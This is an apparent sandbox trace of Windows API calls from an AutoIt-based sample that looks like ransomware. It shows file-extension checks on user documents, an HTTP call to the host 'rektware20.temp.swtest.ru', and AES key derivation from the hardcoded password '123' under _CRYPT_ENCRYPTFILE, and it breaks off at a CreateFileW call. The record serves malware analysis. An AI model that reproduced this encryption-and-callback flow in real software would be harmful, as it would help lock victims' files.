[0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="If\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="u.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0073.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.816] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.816] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0073.816] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.816] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0073.816] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0073.816] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.816] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0073.816] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0073.816] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d30, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d30, lpdwBufferLength=0x130ee1c) returned 1 [0073.816] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.816] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.816] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.817] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0073.817] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0073.817] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0073.817] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0073.817] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0073.817] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.817] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.817] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.817] CloseHandle (hObject=0x0) returned 0 [0073.817] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.817] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0073.818] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0073.818] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.818] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.818] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.818] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.818] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.818] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.818] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0073.818] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.818] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.818] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0073.819] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.819] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.819] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.819] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.819] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.819] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0073.819] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e330, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0073.819] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0073.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0073.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e330, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0073.819] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0073.820] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa780) returned 1 [0073.820] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.820] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.820] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0073.820] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.820] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.820] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.820] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.820] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.821] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.821] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.821] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.821] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.821] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.821] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.821] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.821] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0073.821] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.821] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.821] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.821] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.821] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.821] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.821] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.821] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.821] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.821] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.821] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.822] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.822] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.822] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.822] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.822] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.822] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.822] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.822] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621498, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0073.824] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0073.824] CryptCreateHash (in: hProv=0x17aa780, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0073.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.830] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0073.830] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.830] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.830] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.830] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.830] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0073.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621870, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0073.830] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0073.830] CryptHashData (hHash=0x164c9b0, pbData=0x1629470, dwDataLen=0x3, dwFlags=0x1) returned 1 [0073.830] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.830] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.830] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.830] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.830] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.830] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.830] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.831] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0073.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0073.831] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0073.831] CryptDeriveKey (in: hProv=0x17aa780, Algid=0x6610, hBaseData=0x164c9b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c7f0) returned 1 [0073.831] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.831] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.831] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.831] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.831] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.831] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.831] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0073.831] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0073.831] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0073.831] CryptDestroyHash (hHash=0x164c9b0) returned 1 [0073.831] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.831] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.832] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.832] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.832] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.832] CreateFileW 